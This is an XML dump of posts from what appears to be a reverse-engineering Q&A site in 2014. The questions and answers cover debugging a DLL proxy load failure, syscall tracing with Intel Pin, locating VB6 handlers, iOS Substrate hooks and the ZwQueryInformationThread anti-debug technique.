  <row Id="6142" PostTypeId="1" CreationDate="2014-08-31T12:34:02.850" Score="2" ViewCount="1127" Body="&lt;p&gt;I'm using a dll proxy with the code described &lt;a href=&quot;http://www.codeproject.com/Articles/16541/Create-your-Proxy-DLLs-automatically&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, but having tons of trouble.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;First, I use VS2012 on Windows 7 and the target is on Windows XP. So I needed to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Install VCRedist on the target computer (I'd like to get around that if possible, suggestions will be greately appriciated)&lt;/li&gt;&#xA;&lt;li&gt;Update my VS to at least Update 1 (I've updated to Update 4) to have&#xA;XP compilation support.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I did both of these, and the errors have changed. But still I get this error when the program starts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;The application failed to initialize properly (0xc000007b)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it doesn't run.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The DLL proxy I'm using is basically the default example from the code project article. I've added a message box and a log file write on the DllMain and it doesn't show, meaning the dll isn't even loaded - But I don't get why.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I debug this? Is this a compilation configuration issue?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EDIT:&#xA;I've written a testing program that calls LoadLibrary with my dll proxy, and it works okay. So I'm thinking it's not a CRT dlls thing.&#xA;Anyway, here's the info from WinDbg after I compiled with /MT (I'm sorry but I had to remove companies and application names):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Microsoft (R) Windows Debugger Version 6.12.0002.633 X86&#xA;Copyright (c) Microsoft Corporation. All rights reserved.&#xA;&#xA;CommandLine: &quot;C:\Program Files\AppName\AppName.exe&quot;&#xA;Symbol search path is: *** Invalid ***&#xA;****************************************************************************&#xA;* Symbol loading may be unreliable without a symbol search path.           *&#xA;* Use .symfix to have the debugger choose a symbol path.                   *&#xA;* After setting your symbol path, use .reload to refresh symbol locations. *&#xA;****************************************************************************&#xA;Executable search path is: &#xA;ModLoad: 12400000 12bdb000   AppName.exe&#xA;ModLoad: 7c900000 7c9b2000   ntdll.dll&#xA;ModLoad: 7c800000 7c8f6000   C:\WINDOWS\system32\kernel32.dll&#xA;ModLoad: 60000000 6006d000   C:\WINDOWS\cdmapi32.dll&#xA;ModLoad: 73dd0000 73ece000   C:\WINDOWS\system32\MFC42.DLL&#xA;ModLoad: 77c10000 77c68000   C:\WINDOWS\system32\msvcrt.dll&#xA;ModLoad: 77f10000 77f59000   C:\WINDOWS\system32\GDI32.dll&#xA;ModLoad: 7e410000 7e4a1000   C:\WINDOWS\system32\USER32.dll&#xA;ModLoad: 77dd0000 77e6b000   C:\WINDOWS\system32\ADVAPI32.dll&#xA;ModLoad: 77e70000 77f02000   C:\WINDOWS\system32\RPCRT4.dll&#xA;ModLoad: 77fe0000 77ff1000   C:\WINDOWS\system32\Secur32.dll&#xA;ModLoad: 5d090000 5d12a000   C:\WINDOWS\system32\COMCTL32.dll&#xA;ModLoad: 774e0000 7761e000   C:\WINDOWS\system32\ole32.dll&#xA;ModLoad: 77120000 771ab000   C:\WINDOWS\system32\OLEAUT32.dll&#xA;ModLoad: 76080000 760e5000   C:\WINDOWS\system32\MSVCP60.dll&#xA;ModLoad: 77c00000 77c08000   C:\WINDOWS\system32\VERSION.dll&#xA;ModLoad: 76b40000 76b6d000   C:\WINDOWS\system32\WINMM.dll&#xA;ModLoad: 76390000 763ad000   C:\WINDOWS\system32\IMM32.dll&#xA;ModLoad: 76380000 76385000   C:\WINDOWS\system32\MSIMG32.dll&#xA;ModLoad: 763b0000 763f9000   C:\WINDOWS\system32\comdlg32.dll&#xA;ModLoad: 7c9c0000 7d1d7000   C:\WINDOWS\system32\SHELL32.dll&#xA;ModLoad: 77f60000 77fd6000   C:\WINDOWS\system32\SHLWAPI.dll&#xA;ModLoad: 73000000 73026000   C:\WINDOWS\system32\WINSPOOL.DRV&#xA;ModLoad: 00340000 00356000   C:\Program Files\AppName\DllName.dll&#xA;(dc8.68c): Unknown exception - code c000007b (first chance)&#xA;(dc8.68c): Unknown exception - code c000007b (!!! second chance !!!)&#xA;eax=0012fc54 ebx=00000000 ecx=0012fc80 edx=7c90e514 esi=7ffdc000 edi=c000007b&#xA;eip=7c9673be esp=0012fc54 ebp=0012fca4 iopl=0         nv up ei pl zr na pe nc&#xA;cs=001b  ss=0023  ds=0023  es=0023  fs=003b  gs=0000             efl=00000246&#xA;*** ERROR: Symbol file could not be found.  Defaulted to export symbols for ntdll.dll - &#xA;ntdll!RtlRaiseStatus+0x26:&#xA;7c9673be c9              leave&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I've checked procmon, here's the last few lines:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;9:56:07.8699734 PM  AppName.exe 496 QueryOpen   C:\Program Files\AppName\DllName.dll    SUCCESS CreationTime: 8/31/2014 2:14:39 PM, LastAccessTime: 8/31/2014 9:55:22 PM, LastWriteTime: 8/31/2014 7:14:29 PM, ChangeTime: 8/31/2014 7:14:29 PM, AllocationSize: 73,728, EndOfFile: 70,656, FileAttributes: A&#xA;9:56:07.8704646 PM  AppName.exe 496 QueryOpen   C:\Program Files\AppName\DllName.dll    SUCCESS CreationTime: 8/31/2014 2:14:39 PM, LastAccessTime: 8/31/2014 9:55:22 PM, LastWriteTime: 8/31/2014 7:14:29 PM, ChangeTime: 8/31/2014 7:14:29 PM, AllocationSize: 73,728, EndOfFile: 70,656, FileAttributes: A&#xA;9:56:07.8709551 PM  AppName.exe 496 CreateFile  C:\Program Files\AppName\DllName.dll    SUCCESS Desired Access: Execute/Traverse, Synchronize, Disposition: Open, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: n/a, ShareMode: Read, Delete, AllocationSize: n/a, OpenResult: Opened&#xA;9:56:07.8713057 PM  AppName.exe 496 CreateFileMapping   C:\Program Files\AppName\DllName.dll    SUCCESS SyncType: SyncTypeCreateSection, PageProtection: PAGE_EXECUTE&#xA;9:56:07.8714685 PM  AppName.exe 496 CreateFileMapping   C:\Program Files\AppName\DllName.dll    SUCCESS SyncType: SyncTypeOther&#xA;9:56:07.8718270 PM  AppName.exe 496 CloseFile   C:\Program Files\AppName\DllName.dll    SUCCESS &#xA;9:56:07.8724308 PM  AppName.exe 496 Load Image  C:\Program Files\AppName\DllName.dll    SUCCESS Image Base: 0x340000, Image Size: 0x16000&#xA;9:56:07.8737372 PM  AppName.exe 496 CreateFile  C:\Program Files\AppName\DllName.dll.2.Manifest NAME NOT FOUND  Desired Access: Generic Read/Execute, Disposition: Open, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: n/a, ShareMode: Read, AllocationSize: n/a&#xA;9:56:07.8746961 PM  AppName.exe 496 CreateFile  C:\Program Files\AppName\DllName.dll.2.Config   NAME NOT FOUND  Desired Access: Generic Read/Execute, Disposition: Open, Options: Synchronous IO Non-Alert, Non-Directory File, Attributes: n/a, ShareMode: Read, AllocationSize: n/a&#xA;9:56:09.0143355 PM  AppName.exe 496 Thread Exit     SUCCESS Thread ID: 4064, User Time: 0.0000000, Kernel Time: 0.0468750&#xA;9:56:09.0151822 PM  AppName.exe 496 Process Exit        SUCCESS Exit Status: -1073741701, User Time: 0.0156250 seconds, Kernel Time: 0.0468750 seconds, Private Bytes: 2,572,288, Peak Private Bytes: 2,588,672, Working Set: 1,761,280, Peak Working Set: 1,765,376&#xA;9:56:09.0158711 PM  AppName.exe 496 CloseFile   C:\Program Files\AppName    SUCCESS &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;It seems that it fails searching for the manifest and config files. Is this a problem?&lt;/p&gt;&#xA;" OwnerUserId="8419" LastEditorUserId="8419" LastEditDate="2014-08-31T20:17:42.590" LastActivityDate="2014-08-31T20:17:42.590" Title="Using a DLL proxy fails due to an unknown error" Tags="|c++|dll|" AnswerCount="1" CommentCount="4" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6143" PostTypeId="2" ParentId="6142" CreationDate="2014-08-31T15:22:56.843" Score="4" Body="&lt;p&gt;The problem happens due to the fact that the required CRT DLL's are missing on the target machine. To avoid this you can link against the CRT statically. &#xA;Use the &lt;strong&gt;Multi-threaded (/MT)&lt;/strong&gt; linker flags in VS. This way you also do not need to install &lt;em&gt;VCRedist&lt;/em&gt; on target computer.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;More info &lt;em&gt;&lt;a href=&quot;http://www.davidlenihan.com/2008/01/choosing_the_correct_cc_runtim.html&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another way is to install &lt;em&gt;&lt;a href=&quot;http://www.dependencywalker.com/&quot; rel=&quot;nofollow&quot;&gt;Dependency Walker&lt;/a&gt;&lt;/em&gt; on the target machine, open the required PE file and note which dependencies are missing and then copy the required dependencies there.&lt;/p&gt;&#xA;" OwnerUserId="1413" LastEditorUserId="1413" LastEditDate="2014-08-31T15:38:31.623" LastActivityDate="2014-08-31T15:38:31.623" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6144" PostTypeId="1" AcceptedAnswerId="6145" CreationDate="2014-08-31T15:36:32.630" Score="2" ViewCount="721" Body="&lt;p&gt;I wrote this small pintool that tries to record the number of &lt;code&gt;int 0x80&lt;/code&gt; instructions executed. I did this roughly as follows :-&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;xed_iclass_enum_t iclass = static_cast&amp;lt;xed_iclass_enum_t&amp;gt;(INS_Opcode(ins));&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I then compare iclass against XED_ICLASS_INT and print out the EIP if found. I'm doing this on a statically compiled test binary that :-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;1. Prints hello world&#xA;2. Makes a call to mprotect&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, the number of &lt;code&gt;int 0x80&lt;/code&gt; instructions encountered is just one. Is there something obvious I'm doing wrong? I tried using XED_ICLASS_SYSCALL too but that did not help.&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastActivityDate="2014-08-31T17:04:33.097" Title="Tracing int 0x80 instructions using PIN" Tags="|instrumentation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6145" PostTypeId="2" ParentId="6144" CreationDate="2014-08-31T17:04:33.097" Score="2" Body="&lt;h1&gt;PIN_AddSyscallEntryFunction&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Why not just use &lt;code&gt;PIN_AddSyscallEntryFunction&lt;/code&gt;?  This is an ABI-agnostic way of doing things, that lets you use &lt;code&gt;PIN_GetSyscallArgument&lt;/code&gt; and related functions rather than manually inspecting the stack and register context.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;INS_IsInterrupt&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;You could also use &lt;code&gt;INS_IsInterrupt&lt;/code&gt; at instrumentation time to gather the information at analysis time.  Note that this won't catch any systemm calls made via the &lt;code&gt;syscall&lt;/code&gt; or &lt;code&gt;sysenter&lt;/code&gt; instructions.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Examples&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;As a simple example, if you look at the file &lt;a href=&quot;https://github.com/JonathanSalwan/stuffz/blob/master/binary_analysis_with_ins_counts/inscount0.cpp#L48&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;inscount0.cpp&lt;/code&gt;&lt;/a&gt; that comes with Pin, if you add the following check, you'll only instrument syscalls.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;INS_IsInterrupt&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;In &lt;code&gt;inscount0.cpp&lt;/code&gt;, change the routines as shown below.  The module will now count the number of &lt;code&gt;int&lt;/code&gt; instructions executed, rather than the total number of instructions executed.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;VOID Instruction(INS ins, VOID *v)&#xA;{&#xA;    if(INS_IsSyscall(ins))&#xA;    {&#xA;        INS_InsertCall(ins, IPOINT_BEFORE, (AFUNPTR)docount, IARG_END);&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now all syscall instructions will be counted.  You can use the standard &lt;code&gt;INS_InsertCall&lt;/code&gt; arguments to inspect the stack or register context.&lt;/p&gt;&#xA;&#xA;&lt;h3&gt;PIN_AddSyscallEntryFunction&lt;/h3&gt;&#xA;&#xA;&lt;p&gt;Add this function before &lt;code&gt;main&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void OnSyscall(THREADID threadIndex, CONTEXT *ctxt, SYSCALL_STANDARD std, VOID *v)&#xA;{&#xA;    printf(&quot;Made syscall #%i\n&quot;, PIN_GetSyscallNumber(ctxt, std));&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;and add this line to &lt;code&gt;main&lt;/code&gt; before &lt;code&gt;PIN_StartProgram&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PIN_AddSyscallEntryFunction(OnSyscall, 0);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="264" LastActivityDate="2014-08-31T17:04:33.097" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6146" PostTypeId="1" AcceptedAnswerId="6147" CreationDate="2014-08-31T17:54:17.467" Score="1" ViewCount="177" Body="&lt;p&gt;I have a statically compiled test binary compiled as :-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ cat &amp;gt; test.c&#xA; #include&amp;lt;stdio.h&amp;gt;&#xA;int main() {&#xA;printf(&quot;adsf&quot;);&#xA;mprotect(0x8048000, 0x100, 0x7);&#xA;}&#xA;$ gcc -o test test.c -static&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I use the strace.so pintool and get the following output:-&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;0xb77c0419: 122(0xbfa1a72a, 0xb77c0000, 0x0, 0x0, 0x8049630, 0xbfa1a6ec)returns: 0x0&#xA;0xb77c0419: 45(0x0, 0x840, 0x27, 0xd40, 0x28, 0xbfa1a868)returns: 0x9fda000&#xA;0xb77c0419: 45(0x9fdad40, 0x840, 0x9fda000, 0x9fdad40, 0x28, 0xbfa1a868)returns: 0x9fdad40&#xA;0x80493b9: 243(0xbfa1a8c0, 0x0, 0x4, 0x4, 0x28, 0x40)returns: 0x0&#xA;0xb77c0419: 45(0x9ffbd40, 0x21000, 0x21000, 0x9ffbd40, 0x0, 0xbfa1a728)returns: 0x9ffbd40&#xA;0xb77c0419: 45(0x9ffc000, 0x2c0, 0x21000, 0x9ffc000, 0x0, 0xbfa1a728)returns: 0x9ffc000&#xA;0xb77c0419: 197(0x1, 0xbfa1a210, 0xbfa1a210, 0x2000, 0x2000, 0xbfa1a1b8)returns: 0x0&#xA;0xb77c0419: 192(0x0, 0x1000, 0x3, 0x22, 0xffffffff, 0xbfa1a1cc)returns: 0xb60b6000&#xA;0xb77c0419: 125(0x8048000, 0x100, 0x7, 0x0, 0x8049630, 0xbfa1a8d8)returns: 0x0&#xA;0xb77c0419: 4(0x1, 0xb60b6000, 0x4, 0x80ef6a0, 0x4, 0xbfa1a778)returns: 0x4&#xA;0xb77c0419: 252(0x0, 0x0, 0x80f0d04, 0x0, 0x80ef06c, 0xbfa1a8ac)#eof&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;We can see that the addresses shown at the left(the IP) have repeating values. Also they don't seem to be addresses in the text segment. I'd like to be able to view the addresses at which the system calls are made.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why does this happen? The code for the strace pintool can be found &lt;a href=&quot;https://svn.mcs.anl.gov/repos/performance/Gwalp/gwalpsite/pin/source/tools/ManualExamples/strace.cpp&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;[EDIT]&#xA;Checking in gdb I understand that this happens because the call goes via a common &quot;int 0x80&quot; instruction. As a result, multiple system calls seem to be made from the same address. Hence, it seems like I'd have to read the 4 bytes from the top of the stack to find out which instruction is trying to make the system call. Are there any better ways to do this?&lt;/p&gt;&#xA;" OwnerDisplayName="user1743" LastEditorDisplayName="user1743" LastEditDate="2014-08-31T19:04:51.183" LastActivityDate="2014-08-31T19:06:51.913" Title="IPs shown by the strace.so pintool" Tags="|instrumentation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6147" PostTypeId="2" ParentId="6146" CreationDate="2014-08-31T19:06:51.913" Score="2" Body="&lt;p&gt;On modern Linux systems, a syscall stub (&lt;code&gt;vdso&lt;/code&gt;) is used to invoke the actual syscall.  This is done so that the application binary does not need to know anything about the host CPU, and what mechanism is best or fastest for the CPU.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This can be seen from within GDB or via &lt;code&gt;ldd&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ldd /bin/bash&#xA;    linux-vdso.so.1 =&amp;gt;  (0x00007fff07fc3000)&#xA;    libtinfo.so.5 =&amp;gt; /lib/x86_64-linux-gnu/libtinfo.so.5 (0x00007f65e336e000)&#xA;    libdl.so.2 =&amp;gt; /lib/x86_64-linux-gnu/libdl.so.2 (0x00007f65e316a000)&#xA;    libc.so.6 =&amp;gt; /lib/x86_64-linux-gnu/libc.so.6 (0x00007f65e2da3000)&#xA;    /lib64/ld-linux-x86-64.so.2 (0x00007f65e35b6000)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You can easily dump out the instruction being executed with Pin via printing the return value of &lt;code&gt;INS_Disassemble&lt;/code&gt;.  You should see that it's actually a &lt;code&gt;syscall&lt;/code&gt; instruction or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Regarding the best mechanism for determining the source of a call to the VDSO, checking the top of the stack at a routine entry will give you its return address.  This will be a few bytes &lt;em&gt;after&lt;/em&gt; the &lt;code&gt;call&lt;/code&gt; instruction.  Additionally, you'd have to whitelist the explicit address which is in the &lt;code&gt;vdso&lt;/code&gt;, as not all &lt;code&gt;int 0x80&lt;/code&gt; instructions will be immediately after a call.&lt;/p&gt;&#xA;" OwnerUserId="264" LastActivityDate="2014-08-31T19:06:51.913" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6149" PostTypeId="2" ParentId="6141" CreationDate="2014-08-31T21:57:16.057" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;In ollydbg, I see that at the address &lt;code&gt;00404212&lt;/code&gt; there is the&#xA;  following line:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ADD BYTE PTR DS:[EAX], DH&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;  &#xA;  &lt;p&gt;And, at the address &lt;code&gt;00404213&lt;/code&gt;, there is:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;XOR BYTE PTR DS:[EAX], AL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I dont think those are code, rather variables, are they in a code/execute section ?&lt;/p&gt;&#xA;" OwnerUserId="8421" LastEditorUserId="262" LastEditDate="2014-09-02T07:10:28.433" LastActivityDate="2014-09-02T07:10:28.433" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="6150" PostTypeId="1" CreationDate="2014-09-01T10:07:49.693" Score="1" ViewCount="220" Body="&lt;p&gt;I have a program written in VB6 with a label that is updated every time I push a button:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://puu.sh/bgHRL/d37fd91fbd.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I push the &quot;Hourglass&quot; button, the 72 label goes up by 10. How can I find the part of the program that handles this so I can set a breakpoint and examine the assembly?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, if the answer involves searching for strings, how would I do it without (in case I have a future program that encrypts strings or something)?&lt;/p&gt;&#xA;" OwnerUserId="8428" LastEditorUserId="-1" LastEditDate="2017-03-10T09:42:49.553" LastActivityDate="2018-12-17T13:03:00.603" Title="Finding where to breakpoint?" Tags="|binary-analysis|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6151" PostTypeId="1" CreationDate="2014-09-01T11:23:01.407" Score="3" ViewCount="4066" Body="&lt;p&gt;I'm trying to reverse a compiled tweak. As a first step, I want to find out all the functions it hooks. I can find all the calls to substrate framework functions, but I didn't figure out which functions are hooked (&lt;code&gt;r0&lt;/code&gt;). What is the best way to do this?&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;How can I start an app using &lt;code&gt;gdb&lt;/code&gt; instead of attaching to a running process. The straightforward way results in a &lt;code&gt;SIGABRT&lt;/code&gt; and the call stacks look something like&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#0  0x39ee91f0 in __pthread_kill ()&#xA;#1  0x39f53796 in pthread_kill ()&#xA;#2  0x39e99fdc in abort ()&#xA;#3  0x33bdec10 in GSRegisterPurpleNamedPort ()&#xA;#4  0x33bde890 in _GSEventInitialize ()&#xA;#5  0x31604f38 in UIApplicationMain ()&#xA;#6  0x0022d97c in ?? ()&#xA;#7  0x000910c8 in ?? ()&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;I tried to write a tweak to hook into the substrate framework functions, e.g. &lt;code&gt;MSHookFunction&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;CydiaSubstrate.h&amp;gt;&#xA;&#xA;void (*oldMSHookFunction)(void *, void *, void **);&#xA;&#xA;void newMSHookFunction(void *symbol, void *hook, void **old) {&#xA;    printf(&quot;CC_HOOKED\n&quot;);&#xA;    oldMSHookFunction(symbol, hook, old); &#xA; }&#xA;&#xA;__attribute__((constructor)) static void initialize() {&#xA;    NSLog(@&quot;CC_LOADED&quot;);&#xA;    MSHookFunction(MSHookFunction, &amp;amp;newMSHookFunction, &amp;amp;oldMSHookFunction);&#xA; }&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;With &lt;code&gt;syslog&lt;/code&gt;, I found that my tweak is successfully loaded with &lt;code&gt;CC_LOADED&lt;/code&gt; printed and there were other tweaks loaded after mine. However, no &lt;code&gt;CC_HOOKED&lt;/code&gt; is printed out. What happened ?&lt;/p&gt;&#xA;" OwnerUserId="8429" LastEditorUserId="53" LastEditDate="2014-09-01T18:52:28.427" LastActivityDate="2015-02-25T03:58:45.423" Title="In iOS, how can I find all hooked functions in substrate tweak" Tags="|ios|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6152" PostTypeId="2" ParentId="6150" CreationDate="2014-09-01T14:43:29.460" Score="1" Body="&lt;p&gt;A VB6 program might be compiled to &lt;code&gt;P-Code&lt;/code&gt; and come with a &lt;code&gt;P-Code-Interpreter&lt;/code&gt; packed into the .exe, or it might be compiled to assembly. How to proceed is very dependent on which of these executables you have:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;p&gt;If you have a &lt;code&gt;P-Code&lt;/code&gt; program, all you could ever disassemble is the interpreter, and you won't learn much from tracing the interpreter while it interprets the original program. But fortunately, there are several decompilers which generate more-or-less readable basic from &lt;code&gt;P-code&lt;/code&gt;. Check &lt;a href=&quot;http://www.vb-decompiler.org/products.htm&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.vb-decompiler.org/products.htm&lt;/a&gt;, or one of the decompilers at &lt;a href=&quot;http://www.program-transformation.org/Transform/VisualBasicDecompilers&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://www.program-transformation.org/Transform/VisualBasicDecompilers&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;If the program was compiled to machine code, check &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/5989/how-to-find-a-subroutine-or-next-instruction-called-after-returning-from-a-wi/5990#5990&quot;&gt;my answer here&lt;/a&gt;, or &lt;a href=&quot;https://reverseengineering.stackexchange.com/questions/4724/custom-ui-buttons/4725#4725&quot;&gt;this one&lt;/a&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="4154" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:39.337" LastActivityDate="2014-09-01T14:43:29.460" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6153" PostTypeId="1" CreationDate="2014-09-02T00:01:35.853" Score="2" ViewCount="1946" Body="&lt;p&gt;By analyzing a piece of assembly code of a Trojan, I found a string &lt;code&gt;&quot;ZwQueryInformationThread&quot;&lt;/code&gt;. I assume that it is an anti-debugging technique because the process terminates after hitting that line. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, I could not find any good explanation for &lt;code&gt;&quot;ZwQueryInformationThread&quot;&lt;/code&gt; stopping the process. For me, the purpose is clear: it tries to make my work harder, but I would like to get more information about that. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, my question would be:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there someone who can tell me what &lt;code&gt;&quot;ZwQueryInformationThread&quot;&lt;/code&gt; does? &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="4645" LastEditorUserId="53" LastEditDate="2014-09-02T06:20:32.640" LastActivityDate="2014-09-02T07:52:15.350" Title="ZwQueryInformationThread - what is it exactly?" Tags="|anti-debugging|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6154" PostTypeId="2" ParentId="6153" CreationDate="2014-09-02T00:35:06.280" Score="1" Body="&lt;p&gt;its one of those 'multipurpose' api queries, where the parameters dictate what information you want (for example, thread exit code, thread entrypoint, if a thread is debuggable and so on)..&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://msdn.microsoft.com/en-us/library/windows/desktop/ms684283%28v=vs.85%29.aspx&quot; rel=&quot;nofollow&quot;&gt;http://msdn.microsoft.com/en-us/library/windows/desktop/ms684283%28v=vs.85%29.aspx&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;the threadinfoclass is the 'key' parameter, which isnt documented too well, so like all good reversers, we hope that reactos has a reference.. and.. it does&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://doxygen.reactos.org/d8/dfb/xdk_2pstypes_8h_ae45f91e457cfd1075daa9a900902a16d.html&quot; rel=&quot;nofollow&quot;&gt;http://doxygen.reactos.org/d8/dfb/xdk_2pstypes_8h_ae45f91e457cfd1075daa9a900902a16d.html&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;so all you then need to figure out is the size of ThreadInformationLength required for the threadinfoclass you want is, so you just do it in the usual fashion of calling it with a small buffer, then checking the return value from the call (if it worked, its NT_SUCCESS which is zero), otherwise it'll be another value, typically one indicating the buffer was too small (in which case allocate a buffer of size of the (ReturnLength) parameter you passed and call again... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;hope that helps&lt;/p&gt;&#xA;&#xA;&lt;p&gt;edit : just remembered this...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;ThreadHideFromDebugger is a commonly used anti debug, it has one caveat however, (parameter passed is a pointer to a TRUE (dword)...), once this is done, passing false etc.. will NOT work.. ie: once the call is successful for that thread, the hide from debugger can not be undone)&lt;/p&gt;&#xA;" OwnerUserId="8421" LastEditorUserId="8421" LastEditDate="2014-09-02T00:43:58.833" LastActivityDate="2014-09-02T00:43:58.833" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6155" PostTypeId="2" ParentId="6153" CreationDate="2014-09-02T00:38:19.680" Score="1" Body="&lt;p&gt;I believe what you are seeing is the NtSetInformationThread detection of anti-anti-debug tools. The technique is documented at &lt;a href=&quot;https://ntquery.wordpress.com/2014/03/29/anti-debug-ntsetinformationthread/#more-6&quot; rel=&quot;nofollow&quot;&gt;https://ntquery.wordpress.com/2014/03/29/anti-debug-ntsetinformationthread/#more-6&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;We call NtSetInformationThread two times with wrong parameters and&#xA;  this will reveal most anti-anti-debug plugins. Since Vista it is&#xA;  possible to use NtQueryInformationThread and this makes it much more&#xA;  powerful. Currently no anti-anti-debug plugin is hooking&#xA;  NtQueryInformationThread to prevent this check.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="1481" LastActivityDate="2014-09-02T00:38:19.680" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
